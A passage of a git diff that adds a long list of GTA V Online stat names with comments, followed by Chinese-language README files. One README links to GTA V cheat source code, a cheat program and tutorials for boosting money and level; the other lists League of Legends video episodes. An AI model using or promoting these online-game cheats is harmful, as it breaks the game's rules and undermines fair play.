32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT95 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT96 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT97 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT98 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT99 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT100 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT101 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT102 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT103 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)CASINOHSTPSTAT_INT104 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers + +(packed)CASINOHSTPSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)CASINOHSTPSTAT_BOOL1 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. + +(int)PROP_ARCADE_VALUE // Add MP0_ or MP1_ // Stores value of arcade property player has purchased +(int)ARCADE_OWNED // Add MP0_ or MP1_ // Arcade owned +(int)ARCADE_FLOOR // Add MP0_ or MP1_ // Arcade floor customisation +(int)ARCADE_CEILING // Add MP0_ or MP1_ // Arcade ceiling customisation +(int)ARCADE_WALL // Add MP0_ or MP1_ // Arcade wall customisation +(int)ARCADE_PERSONAL_QUARTERS // Add MP0_ or MP1_ // Arcade personal quarters customisation +(int)ARCADE_GARAGE // Add MP0_ or MP1_ // Arcade garage customisation +(int)ARCADE_NEON_LIGHTS // Add MP0_ or MP1_ // Arcade neon lights customisation +(int)ARCADE_SCREENS // Add MP0_ or MP1_ // Arcade screens customisation +(int)CAS_HEIST_NOTS // Add MP0_ or MP1_ // casino heist notifications and flow +(int)CAS_HEIST_FLOW // Add MP0_ or MP1_ // casino heist notifications and flow +(int)SIGNAL_JAMMERS_COLLECTED // Add MP0_ or MP1_ // Collectables + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +(int)BRONZE_BOOLCHAR_3 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)BRONZE_INTCHAR_4 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_BOOLCHAR_3 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)SILVER_INTCHAR_4 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)GOLD_BOOLCHAR_3 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)GOLD_INTCHAR_4 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)PLATINUM_BOOLCHAR_3 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)PLATINUM_INTCHAR_4 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)ARCADE_BUS_HUB // Add MP0_ or MP1_ // Arcade business hub +(int)ARCADE_DRON_ST // Add MP0_ or MP1_ // Arcade drone station + +(int)ARCADE_MAC_0 // Add MP0_ or MP1_ // Arcade machine 0 ownership +(int)ARCADE_MAC_1 // Add MP0_ or MP1_ // Arcade machine 1 ownership +(int)ARCADE_MAC_2 // Add MP0_ or MP1_ // Arcade machine 2 ownership +(int)ARCADE_MAC_3 // Add MP0_ or MP1_ // Arcade machine 3 ownership +(int)ARCADE_MAC_4 // Add MP0_ or MP1_ // Arcade machine 4 ownership +(int)ARCADE_MAC_5 // Add MP0_ or MP1_ // Arcade machine 5 ownership +(int)ARCADE_MAC_6 // Add MP0_ or MP1_ // Arcade machine 6 ownership +(int)ARCADE_MAC_7 // Add MP0_ or MP1_ // Arcade machine 7 ownership +(int)ARCADE_MAC_8 // Add MP0_ or MP1_ // Arcade machine 8 ownership +(int)ARCADE_MAC_9 // Add MP0_ or MP1_ // Arcade machine 9 ownership +(int)ARCADE_MAC_10 // Add MP0_ or MP1_ // Arcade machine 10 ownership +(int)ARCADE_MAC_11 // Add MP0_ or MP1_ // Arcade machine 11 ownership + +(int)CH_ARC_CAB_DISPLAY_SLOT1 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT2 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT3 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT4 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT5 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT6 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT7 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT8 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT9 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT10 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT11 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT12 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT13 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT14 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT15 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT16 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT17 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT18 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT19 // Add MP0_ or MP1_ // display slot to save arcade property's aracade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT20 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT21 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT22 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT23 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT24 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT25 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT26 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT27 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT28 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT29 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT30 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT31 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT32 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT33 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT34 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT35 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT36 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT37 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT38 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet +(int)CH_ARC_CAB_DISPLAY_SLOT39 // Add MP0_ or MP1_ // display slot to save arcade property's arcade cabinet + +(int)CH_ARC_LOVE_LEVEL0 // Add MP0_ or MP1_ // Track love meter player score +(int)CH_ARC_LOVE_LEVEL1 // Add MP0_ or MP1_ // Track love meter player score +(int)CH_ARC_LOVE_LEVEL2 // Add MP0_ or MP1_ // Track love meter player score +(int)CH_ARC_LOVE_LEVEL3 // Add MP0_ or MP1_ // Track love meter player score +(int)CH_ARC_LOVE_LEVEL4 // Add MP0_ or MP1_ // Track love meter player score +(int)CH_ARC_LOVE_LEVEL5 // Add MP0_ or MP1_ // Track love meter player score +(int)CH_ARC_LOVE_LEVEL6 // Add MP0_ or MP1_ // Track love meter player score +(int)CH_ARC_LOVE_LEVEL7 // Add MP0_ or MP1_ // Track love meter player score +(int)CH_ARC_LOVE_LEVEL8 // Add MP0_ or MP1_ // Track love meter player score +(int)CH_ARC_LOVE_LEVEL9 // Add MP0_ or MP1_ // Track love meter player score +(int)CH_ARC_LOVE_LEVEL10 // Add MP0_ or MP1_ // Track love meter player score +(int)CH_ARC_LOVE_LEVEL11 // Add MP0_ or MP1_ // Track love meter player score + + +(int)ARCADE_MAC_12 // Add MP0_ or MP1_ // Arcade machine 12 ownership +(bool)MPPLY_NAVYREVOLVERCOMPLETED // Stat to track if NAvy Revolver challenge is complete to unlock weapon in bob + +(int)H3_LAST_APPROACH // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)H3_HARD_APPROACH // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)H3_SKIPCOUNT // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)H3_MISSIONSKIPPED // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + + +(int)BADLAND_INITIALS_0 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_INITIALS_1 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_INITIALS_2 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_INITIALS_3 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_INITIALS_4 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_INITIALS_5 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_INITIALS_6 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_INITIALS_7 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_INITIALS_8 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_INITIALS_9 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_SCORE_0 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_SCORE_1 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_SCORE_2 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_SCORE_3 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_SCORE_4 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_SCORE_5 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_SCORE_6 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_SCORE_7 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_SCORE_8 // Add MP0_ or MP1_ // Arcade Games +(int)BADLAND_SCORE_9 // Add MP0_ or MP1_ // Arcade Games + +(int)JUKEBOXPLAYLISTTIME4 // Add MP0_ or MP1_ // Playlist 4 time +(int)JUKEBOXPLAYLISTTIME5 // Add MP0_ or MP1_ // Playlist 5 time +(int)JUKEBOXPLAYLISTTIME6 // Add MP0_ or MP1_ // Playlist 6 time +(int)JUKEBOXPLAYLISTTIME7 // Add MP0_ or MP1_ // Playlist 7 time +(int)JUKEBOXPLAYLISTTIME8 // Add MP0_ or MP1_ // Playlist 8 time + +(int)H3_BOARD_DIALOGUE0 // Add MP0_ or MP1_ // planning board dialogue +(int)H3_BOARD_DIALOGUE1 // Add MP0_ or MP1_ // planning board dialogue +(int)H3_BOARD_DIALOGUE2 // Add MP0_ or MP1_ // planning board dialogue +(int)ARCADE_PAY_TIME_LEFT // Add MP0_ or MP1_ // arcade money earning +(int)ARCADE_SAFE_CASH_VALUE // Add MP0_ or MP1_ // arcade money earning +(int)H3_VEHICLESUSED // Add MP0_ or MP1_ // planning board dialogue +(int)MPPLY_H3_COOLDOWN // Casino Heist cooldown +(int)H3_COMPLETEDPOSIX // Add MP0_ or MP1_ // set up cooldown + +(int)STREETLEGINITIALS_0 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGINITIALS_1 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGINITIALS_2 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGINITIALS_3 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGINITIALS_4 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGINITIALS_5 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGINITIALS_6 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGINITIALS_7 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGINITIALS_8 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGINITIALS_9 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGSCORE_0 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGSCORE_1 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGSCORE_2 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGSCORE_3 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGSCORE_4 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGSCORE_5 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGSCORE_6 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGSCORE_7 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGSCORE_8 // Add MP0_ or MP1_ // Arcade Games +(int)STREETLEGSCORE_9 // Add MP0_ or MP1_ // Arcade Games + +(int)CROTCHINITIALS_0 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHINITIALS_1 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHINITIALS_2 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHINITIALS_3 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHINITIALS_4 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHINITIALS_5 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHINITIALS_6 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHINITIALS_7 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHINITIALS_8 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHINITIALS_9 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHSCORE_0 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHSCORE_1 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHSCORE_2 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHSCORE_3 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHSCORE_4 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHSCORE_5 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHSCORE_6 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHSCORE_7 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHSCORE_8 // Add MP0_ or MP1_ // Arcade Games +(int)CROTCHSCORE_9 // Add MP0_ or MP1_ // Arcade Games + + +(int)GETTRUCKINITIALS_0 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKINITIALS_1 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKINITIALS_2 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKINITIALS_3 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKINITIALS_4 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKINITIALS_5 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKINITIALS_6 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKINITIALS_7 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKINITIALS_8 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKINITIALS_9 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKSCORE_0 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKSCORE_1 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKSCORE_2 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKSCORE_3 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKSCORE_4 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKSCORE_5 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKSCORE_6 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKSCORE_7 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKSCORE_8 // Add MP0_ or MP1_ // Arcade Games +(int)GETTRUCKSCORE_9 // Add MP0_ or MP1_ // Arcade Games + +(int)CH_ARC_CAB_CLAW_TROPHY // Add MP0_ or MP1_ // claw crane trophy +(int)CH_ARC_CAB_LOVE_TROPHY // Add MP0_ or MP1_ // love meter trophy +(int)ARCADE_CONTRABAND_MISSION // Add MP0_ or MP1_ // Inventory slot to validate transactions +(int)ARCADE_HELP_BITSET // Add MP0_ or MP1_ // Arcade Games +(int)ARCADE_HELP_BITSETTWO // Add MP0_ or MP1_ // Arcade Games + +(int)CASINO_APT_DECORATION_14 // Add MP0_ or MP1_ // store casino decoration items14 + +(int)TATTOO_FM_UNLOCKS_43 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 38 +(int)TATTOO_FM_CURRENT_43 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 38 +(int)TATTOO_FM_VIEWED_43 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 38 +(int)TATTOO_FM_UNLOCKS_44 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 38 +(int)TATTOO_FM_CURRENT_44 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 38 +(int)TATTOO_FM_VIEWED_44 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 38 +(int)TATTOO_FM_UNLOCKS_45 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 38 +(int)TATTOO_FM_CURRENT_45 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 38 +(int)TATTOO_FM_VIEWED_45 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 38 + +(int)HEIST3_SESSION_ID_MACADDR // Add MP0_ or MP1_ // Heist help text +(int)HEIST3_SESSION_ID_POSTIME // Add MP0_ or MP1_ // Heist help text + +(int)SHOPFM_PERS_GUN_ARCADE // Add MP0_ or MP1_ // Shop stat for Arcade Armory +(bool)HELP_FURIA // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_MINITANK // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_YOSEMITE2 // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_ZHABA // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_IMORGEN // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_SULTAN2 // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_VAGRANT // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_VSTR // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_STRYDER // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_SUGOI // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_KANJO // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_FORMULA // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_FORMULA2 // Add MP0_ or MP1_ // help text for veh unlocks +(bool)HELP_JB7002 // Add MP0_ or MP1_ // help text for veh unlocks + +(int)H3_CR_STEALTH_1A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_STEALTH_2B_RAPP // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_STEALTH_2C_SIDE // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_STEALTH_3A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_STEALTH_4A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_STEALTH_5A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_SUBTERFUGE_1A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_SUBTERFUGE_2A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_SUBTERFUGE_2B // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_SUBTERFUGE_3A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_SUBTERFUGE_3B // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_SUBTERFUGE_4A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_SUBTERFUGE_5A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_DIRECT_1A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_DIRECT_2A1 // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_DIRECT_2A2 // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_DIRECT_2BP // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_DIRECT_2C // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_DIRECT_3A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_DIRECT_4A // Add MP0_ or MP1_ // mission completion counter +(int)H3_CR_DIRECT_5A // Add MP0_ or MP1_ // mission completion counter + +(int)CR_ORDER // Add MP0_ or MP1_ // keep track of how many times a player has completed the beamhack minigame +(int)CR_FINGERPRINT // Add MP0_ or MP1_ // keep track of how many times a player has completed the beamhack minigame +(bool)RACECHASESTARTEDCAR // Add MP0_ or MP1_ // check to see if started race chase +(bool)RACECHASESTARTEDBIKE // Add MP0_ or MP1_ // check to see if started race chase +(bool)RACECHASESTARTEDTRUCK // Add MP0_ or MP1_ // check to see if started race chase + +(bool)DISPLAY_CASHEIS_VEH_HELP // Add MP0_ or MP1_ // Casino Vehicles + +(int)DLC_APPAREL_ACQUIRED_201 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_202 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_203 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_204 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_205 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_201 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_202 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_203 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_204 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_205 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)CH_GETAWAY_MOD_LIV1 // Add MP0_ or MP1_ // Heist getaway veh1 upgrade +(int)CH_GETAWAY_MOD_LIV2 // Add MP0_ or MP1_ // Heist getaway veh2 upgrade +(int)CH_GETAWAY_MOD_LIV3 // Add MP0_ or MP1_ // Heist getaway veh3 upgrade +(int)CH_GETAWAY_MOD_LIV4 // Add MP0_ or MP1_ // Heist getaway veh4 upgrade + +(int)CH_GETAWAY_MOD_UP1 // Add MP0_ or MP1_ // Heist getaway veh1 upgrade +(int)CH_GETAWAY_MOD_UP2 // Add MP0_ or MP1_ // Heist getaway veh2 upgrade +(int)CH_GETAWAY_MOD_UP3 // Add MP0_ or MP1_ // Heist getaway veh3 upgrade +(int)CH_GETAWAY_MOD_UP4 // Add MP0_ or MP1_ // Heist getaway veh4 upgrade + +(int)CH_GETAWAY_MOD_C1 // Add MP0_ or MP1_ // Heist getaway veh1 colour +(int)CH_GETAWAY_MOD_C2 // Add MP0_ or MP1_ // Heist getaway veh2 colour +(int)CH_GETAWAY_MOD_C3 // Add MP0_ or MP1_ // Heist getaway veh3 colour +(int)CH_GETAWAY_MOD_C4 // Add MP0_ or MP1_ // Heist getaway veh4 colour +(packed)CASINOHSTPSTAT_BOOL2 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)CASINOHSTPSTAT_BOOL3 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)CASINOHSTPSTAT_BOOL4 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. + + +(packed)HEIST3TATTOOSTAT_BOOL0 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)HEIST3TATTOOSTAT_BOOL1 // Add MP0_ or MP1_ // Stat with Packed booleans index 0. Takes up to 64 booleans. + +(int)ARC_PROPERTY_EARNINGS // Add MP0_ or MP1_ // Arcade property earnings + +(int)ADMIN_CLOTHES_RM_BS_29 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_29 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_30 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_30 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_31 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_31 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/README.md" new file mode 100644 index 0000000..439fdb7 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Grand Theft Auto V/README.md" @@ -0,0 +1,47 @@ +# 前言 + +好吧,这里是GTA5相关 + +## 分三个内容教学视频 + +1.刷等级 + +2.刷金钱 + +3.辅助使用 + +## 辅助源码和程序 +[辅助源码](https://github.com/FiYHer/gta5_cheats_1.50) +[辅助程序](https://github.com/FiYHer/gta5_cheats_1.50/releases) +[GTAHaXUI v2 for 1.50程序下载 - 提取码:d724](https://pan.baidu.com/s/1SMWwAymbKsVmIy0cgd2_oQ) + +[在线观看 - 刷钱](https://www.ixigua.com/6852550551683793415/?utm_source=xiguastudio) + +[在线观看 - 刷等级](https://www.ixigua.com/6852555956094501390/?utm_source=xiguastudio) + +[在线观看 - 辅助使用](https://www.ixigua.com/6852558639929131527/?utm_source=xiguastudio) + +[百度网盘全部 - 提取码: nncp](https://pan.baidu.com/s/1l1iVHl2j3I_qLiQU7KOQMQ) + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\264\276\345\244\247\346\230\237] League of Legends (TM) Client/README.md" "b/[\346\225\231\347\250\213] [\346\264\276\345\244\247\346\230\237] League of Legends (TM) Client/README.md" new file mode 100644 index 0000000..ae32bd8 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\264\276\345\244\247\346\230\237] League of Legends (TM) Client/README.md" @@ -0,0 +1,21 @@ +## 作者 : 派大星 +## 平台 : Youtube +## 集数 : 13 +## 游戏 : League of Legends (TM) Client + +[第一集](https://youtu.be/u4aDbkdDsk8) +[第二集](https://youtu.be/hZusqy64URM) +[第三集](https://youtu.be/79Jhm-5vv-E) +[第四集](https://youtu.be/MiSyWMVKKIs) +[第五集](https://youtu.be/lJwtEKv8zNY) +[第六集](https://youtu.be/OX4Rhz13tYw) +[第七集](https://youtu.be/NyPWln6SL-4) +[第八集](https://youtu.be/eGEDP4DMkOU) +[第九集](https://youtu.be/TOjgjpI3Dl4) +[第十集](https://youtu.be/RCgAChsUSDw) +[第十一集](https://youtu.be/gAALLA792yE) +[第十二集](https://youtu.be/ntL0ip1ZLgc) +[第十三集](https://youtu.be/EQzSkgZhECw) + + +